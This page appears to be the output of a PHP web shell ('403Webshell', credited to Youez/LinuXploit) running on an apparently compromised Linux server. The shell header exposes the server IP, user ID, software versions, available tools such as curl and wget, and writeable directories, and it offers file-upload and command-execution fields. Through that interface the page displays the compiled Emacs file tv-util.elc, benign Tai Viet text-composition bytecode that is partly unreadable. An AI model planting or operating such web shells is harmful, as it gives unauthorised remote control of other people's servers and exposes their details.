403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/language/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/language/tv-util.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



#@57 Regexp matching with a sequence of Tai Viet characters.
(defconst tai-viet-re "[ꪀ-ꫂꫛ-꫟]+" (#$ . 84))
#@68 Char-table of information about glyph type of Tai Viet characters.
(defconst tai-viet-glyph-info (byte-code "\300\301!\302\303\304\305B\306#\210\303\307\310B\306#\210\211\211\203@\211@\211@A\211G\311\211W\2037HI\210\211T\262\202\"\266A\266\202\202\210\207" [make-char-table nil ((right-overhang . "ꪊꪋꪌꪍꪏꪓꪖꪜꪞꪡꪤꪨ") (left-overhang . "ꫂ") (combining-vowel . "ꪴꪰꪲꪳꪷꪸꪾ") (combining-tone . "꪿꫁") (misc . "-")) set-char-table-range 43648 43714 t 43739 43743 0] 11) (#$ . 199))
#@89 Compose Tai Viet characters in STRING between indices FROM and TO.

(fn FROM TO STRING)
(defalias 'tai-viet-compose-string #[771 "\211HH\301\302=\203\303\211T\304\305\"$\210T\262\262W\203`\306H\211\262Y\203`\307X\203`H\262\302=\203V\211\302=\203V\303\211T\304\305\"#\210T\262\262\202!\310=\203t\303S\304\305\"$\210\207" [tai-viet-glyph-info nil non-spacing compose-string string 9 43648 43743 right-overhang] 13 (#$ . 736)])
#@78 Compose Tai Viet characters in the region between FROM and TO.

(fn FROM TO)
(defalias 'tai-viet-compose-region #[514 "\301\"\210\302\303\304\211\211\211\211\211		W\203A\204#	f\262H\262	T\262\n\2045\304\262\304\262\202
\305>\203Q\306\nS\307\310	\"#\210\311\262\304\262\202
	S\262\262\312=\203c\312\202o?\205o\313=\205o\313\262\311\262\304\262		W\203	f\262H\211\262\203\314>\203\376E\262	T\262\n\304\262		W\203\315	f\262H\211\262\203\315\315=\203\315D\244\262	T\262\n\211\313=\203\336\310BB\262\202\364\211\312=\203\364		Y\203\364\310D\244\262\306#\210\202
\211\313=\203
\306\307\310\"#\210\202
\211\313=\203&\306\307\310\"#\210\202
\211\312=\203
		Y\203
\306\307\310\"#\210\202
	\207" [tai-viet-glyph-info decompose-region (Br . Bl) (tr . bl) nil (combining-vowel combining-tone) compose-region string 9 t right-overhang left-overhang (combining-vowel combining-tone) combining-tone] 16 (#$ . 1217)])
#@45 

(fn FROM TO FONT-OBJECT STRING DIRECTION)
(defalias 'tai-viet-composition-function #[1285 "\203\301#\205\"\302\303\225#\207b\210\304!\205\"\305\303\225\"\207" [tai-viet-re string-match tai-viet-compose-string 0 looking-at tai-viet-compose-region] 9 (#$ . 2247)])
(provide 'tai-viet-util)

Youez - 2016 - github.com/yon3zu
LinuXploit